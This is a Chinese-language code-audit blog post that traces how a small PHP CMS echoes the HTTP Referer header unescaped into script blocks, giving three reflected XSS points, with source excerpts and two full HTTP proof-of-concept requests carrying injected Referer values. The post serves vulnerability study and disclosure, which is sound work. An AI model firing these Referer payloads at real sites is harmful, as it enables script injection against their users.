代码审计之cms从$_SERVER入手的xss 0day
前言
虽然这次审计的cms是比较小众的,主要是为了积累审计的经验,然后给大家分享一下一些代码审计的思路,仅供学习,然后只是给刚入门审计的师傅们学习
漏洞审计结果
传入参数流程审计
我们首先观察一下参数传入的流程
首先我们随便选择一个参数传入的点,然后审计一下基本的流程
比如
我怀疑这里存在xss漏洞
但是实际测试发现自己的输入已经改变了,如果让你直接找是怎么过滤的,很难找到,我们就根据require去查找,因为php的话一般都是这样的,过滤往往是在包含的文件里面
<?php
require("admin.php");
?>
跟进,然后一路追到global.php
可以看见这里就有过滤的逻辑了
一个是对$_REQUEST的过滤
还有stopsqlin函数,是通过if (checksqlin=="Yes")判断来的,然后我们找到config.php里面
define('checksqlin','Yes') ;//是否开启防SQL注入功能
看到stopsqlin函数
function stopsqlin($str){
remove_xss($str);
if(!is_array($str)) {//有数组数据会传过来比如代理留言中的省份$_POST['province'][$i]
$str=strtolower($str);//否则过过滤不全
$sql_injdata = "";
$sql_injdata= $sql_injdata."|".stopwords;
$sql_injdata=cutfgx($sql_injdata,"|");
$sql_inj = explode("|",$sql_injdata);
for ($i=0; $i< count($sql_inj);$i++){
if (@strpos($str,$sql_inj[$i])!==false) {showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");}
}
}
}
跟进remove_xss
可以看到这个过滤我们可以不需要去思考怎么绕过了,根本绕不过去
但是就不可能xss或者sql注入了吗,当然不是,比如我这里能够控制输入的参数,但是并没有包含过滤的文件,那么就可能存在
g/dl_liuyan_save.php
这个是我看github上的,这个也是作为我的引路
我们看到代码部分,在g/dl_liuyan_save.php中
重要代码部分
$dlsname=$_POST["name"];
$saver=$_POST["fbr"];
checkstr($dlsname,'quanhanzi','联系人',$_SERVER['HTTP_REFERER']);
checkstr($tel,'tel','电话号码',$_SERVER['HTTP_REFERER']);
$rs=query("select groupid from zzcms_user where username='".$saver."' ");
$row=fetch_array($rs);
$savergroupid=$row['groupid'];
if ($cp<>'' && $dlsname<>'' && $tel<>''){
$rs=query("select * from zzcms_daili where truename='$dlsname' and tel='$tel' and saver='$saver' and cpid='$cpid'");
$row=num_rows($rs);
if ($row){
echo "<script>alert('您已留过言了!');history.back(-1)</script>";
}else{
$isok=query("insert into zzcms_daili (title,cpid,classid,province,city,content,company,companyname,truename,tel,email,editor,saver,savergroupid,sendtime)
values
('$cp','$cpid','$bigclassid','$province','$city','$contents','$company','$companyname','$dlsname','$tel','$email','".@safe_replace($_COOKIE["UserName"])."','$saver','$savergroupid','".date('Y-m-d H:i:s')."')");
$_SESSION["dlliuyan"]=$saver;//供留言后显示联系方式处用
$dlid=insert_id();
$rsn=query("select id,username,sex,email,mobile,somane from zzcms_user where username='".$saver."'");
$rown=fetch_array($rsn);
$id=$rown["id"];//供返回展厅首页用
if (whendlsave=="Yes"){
$fbr_email=$rown["email"];
$dstmobile=$rown["mobile"];
$somane=$rown["somane"];
$sex=$rown["sex"];
if ($sex==1){$sex="先生";}elseif($sex==0){$sex=="女士";}
$tomail = $fbr_email; //收件人
$subject = "有人在".sitename."上给您留言想要".channeldl.$cp;
$body= "<table width='100%'><tr><td style='font-size:14px;line-height:25px'>".$somane.$sex. ":<br> 您好!<br>有人在".sitename."上给您留言,想要".channeldl.$cp.";以下是部分信息:<hr>";
$body=$body . "留 言 人:".$dlsname."<br>".channeldl."产品:".$cp."<br>代理区域:".$city."<br>留言时间:".date('Y-m-d H:i:s')."<br><a href='".siteurl."/user/login.php' target='_blank'><b>登录网站查看详情</b></a>";
$body=$body . "</td></tr></table>";
$fp="../template/".siteskin."/email.htm";
$f= fopen($fp,'r');
$strout = fread($f,filesize($fp));
fclose($f);
$strout=str_replace("{#body}",$body,$strout) ;
$strout=str_replace("{#siteurl}",siteurl,$strout) ;
$strout=str_replace("{#logourl}",logourl,$strout) ;
$mailbody=$strout;
$mail = new PHPMailer(true); // Passing `true` enables exceptions
//try {
//服务器配置
$mail->CharSet ="UTF-8"; //设定邮件编码
$mail->SMTPDebug = 0; // 调试模式输出
$mail->isSMTP(); // 使用SMTP
$mail->Host = smtpserver; // SMTP服务器
$mail->SMTPAuth = true; // 允许 SMTP 认证
$mail->Username = sender; // SMTP 用户名 即邮箱的用户名
$mail->Password = smtppwd; // SMTP 密码 部分邮箱是授权码(例如163邮箱)
$mail->SMTPSecure = 'ssl'; // 允许 TLS 或者ssl协议
$mail->Port = 465; // 服务器端口 25 或者465 具体要看邮箱服务器支持
$mail->setFrom(sender, 'Mailer'); //发件人
//$mail->addAddress('ellen@example.com'); // 可添加多个收件人
$mail->addReplyTo(sender, 'info'); //回复的时候回复给哪个邮箱 建议和发件人一致
//$mail->addCC('cc@example.com'); //抄送
//$mail->addBCC('bcc@example.com'); //密送
//发送附件
// $mail->addAttachment('../xy.zip'); // 添加附件
// $mail->addAttachment('../thumb-1.jpg', 'new.jpg'); // 发送附件并且重命名
//Content
$mail->isHTML(true); // 是否以HTML文档格式发送 发送后客户端可直接显示对应HTML内容
$mail->Subject = $subject ;
$mail->Body = $mailbody ;
$mail->AltBody = '如果邮件客户端不支持HTML则显示此内容';
$mail->addAddress($tomail, 'Joe'); // 收件人
$ok=$mail->send();
if($ok){
echo "邮件发送到".$tomail."成功";
}else{
echo "邮件发送到".$tomail."失败: ", $mail->ErrorInfo;
}
//发手机短信网站编码为GB2312不能在此页中发
if (sendsms=="Yes"){
$msg='有人在'.sitename.'留言要'.channeldl.'您发布的产品,请登录网站查看详情,网址:'.siteurl;
$msg = iconv("UTF-8","GBK",$msg);
$result = sendSMS(smsusername,smsuserpass,$dstmobile,$msg,apikey_mobile_msg);
//echo $result."<br>";
}
}
if ($isok){
showmsg('成功提交',$_SERVER['HTTP_REFERER']);
}else{
showmsg('失败提交',$_SERVER['HTTP_REFERER']);
}
在最后有一个
if ($isok){
showmsg('成功提交',$_SERVER['HTTP_REFERER']);
}else{
showmsg('失败提交',$_SERVER['HTTP_REFERER']);
}
而我们的全局过滤是在
可以发现对我们的$_SERVER只有转为小写
而$_SERVER['HTTP_REFERER']其实就是我们的referer头的值
跟进showmsg方法
把我们的输入拼接进去了,我们就可以通过一些特殊的方法触发xss了
其实我们这里可以发现我们可以控制$_SERVER的许多参数
因为我的数据库连接有问题,没有复现成功
交给各位复现了,但是原理还是很清楚的
ask/caina.php 前台反射型xss
访问/ask/caina.php
发送POC
POST /ask/caina.php HTTP/1.1
Host: zzcms:8786
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4pj41bdnhl1msnbrl2lljv1iqm; __51cke__=; xywpwx_bakusername=admin; xywpwx_snsjjssbdvqm=aca496e77ae7ceff46c2f8e72f4235d5; qebak_efourcheck=be67da7f3e3c39cd439799a20c67f8b4; XDEBUG_SESSION=PHPSTORM; xywpwx_bakrnd=zPwzzERUvdP4; xywpwx_loginebakckpass=03269d863bac377ff8cfb81722e356e3; xywpwx_baklogintime=1724589372; __tins__713776=%7B%22sid%22%3A%201724603456590%2C%20%22vd%22%3A%206%2C%20%22expires%22%3A%201724605579607%7D; __51laig__=34
Connection: keep-alive
Referer: ";alert(123);</script><script>"
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
代码部分
<?php
require("../inc/conn.php");
$answerid=$_POST['answerid'];
$askid=$_POST['askid'];
checkid($answerid);
checkid($askid);
$rs = query("select jifen from zzcms_ask where id='".$askid."'");
$row = fetch_array($rs);
$jifen=$row['jifen'];
$rs = query("select editor from zzcms_answer where id='".$answerid."'");
$row = fetch_array($rs);
$answer_editor=$row['editor'];
query("update zzcms_user set totleRMB=totleRMB+".$jifen." where username='$answer_editor'");//发问题时就给发布者扣积分
query("insert into zzcms_pay (username,dowhat,RMB,mark,sendtime) values('$answer_editor','回答赚积分','+".$jifen."','','".date('Y-m-d H:i:s')."')");//记录积分
query("update zzcms_answer set caina=1 where id='$answerid'");
query("update zzcms_ask set typeid=1 where id='$askid'");
showmsg('采纳成功',$_SERVER['HTTP_REFERER']);
?>
看到关键的代码
showmsg('采纳成功',$_SERVER['HTTP_REFERER']);
其中我们的$_SERVER['HTTP_REFERER']可以通过Referer头控制
showmsg函数
function showmsg($msg,$zc_url = 'back',$exit=''){
$str="<!DOCTYPE html>";//有些文件不能设文件头
$str.="<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>";
if($zc_url && $zc_url!='back' && $zc_url!='null'){
$str.="<script>alert('$msg');parent.location=\"$zc_url\";</script>";
}elseif( $zc_url=='null'){
$str.="<script>alert(\"$msg\")</script>";
}else{
$str.="<script>alert(\"$msg\");history.back();</script>";
}
echo $str;
//if ($exit=='exit'){
exit;//必须强制退出
//}
}
直接输出了$str到html页面上造成了反射型xss注入
g/list.php存在前台反射型xss
首先访问页面
然后使用burpsuit截取流量
POC
POST /g/list.php HTTP/1.1
Host: zzcms:8786
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4pj41bdnhl1msnbrl2lljv1iqm; __51cke__=; xywpwx_bakusername=admin; xywpwx_snsjjssbdvqm=aca496e77ae7ceff46c2f8e72f4235d5; qebak_efourcheck=be67da7f3e3c39cd439799a20c67f8b4; XDEBUG_SESSION=PHPSTORM; xywpwx_bakrnd=zPwzzERUvdP4; xywpwx_loginebakckpass=03269d863bac377ff8cfb81722e356e3; xywpwx_baklogintime=1724589372; __tins__713776=%7B%22sid%22%3A%201724603456590%2C%20%22vd%22%3A%206%2C%20%22expires%22%3A%201724605579607%7D; __51laig__=34
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Referer: ';alert(1);'
action=clearcookies
代码分析
定位到g/list.php
if (isset($action)&&$action=='clearcookies'){
setcookie("zzcmscpid","xxx",1);
echo "<script>location.href='".$_SERVER['HTTP_REFERER']."'</script>";//上一页$_SERVER["REQUEST_URI"]当前页
}
可以发现先对我们的action有一个判断,然后如果等于clearcookies,之后会echo 拼接我们的$_SERVER['HTTP_REFERER']导致了xss注入
总结
通过上面的三个案例,其实还有很多一样的,可以试着去挖掘,放在代码审计还是需要的是耐心和敏感型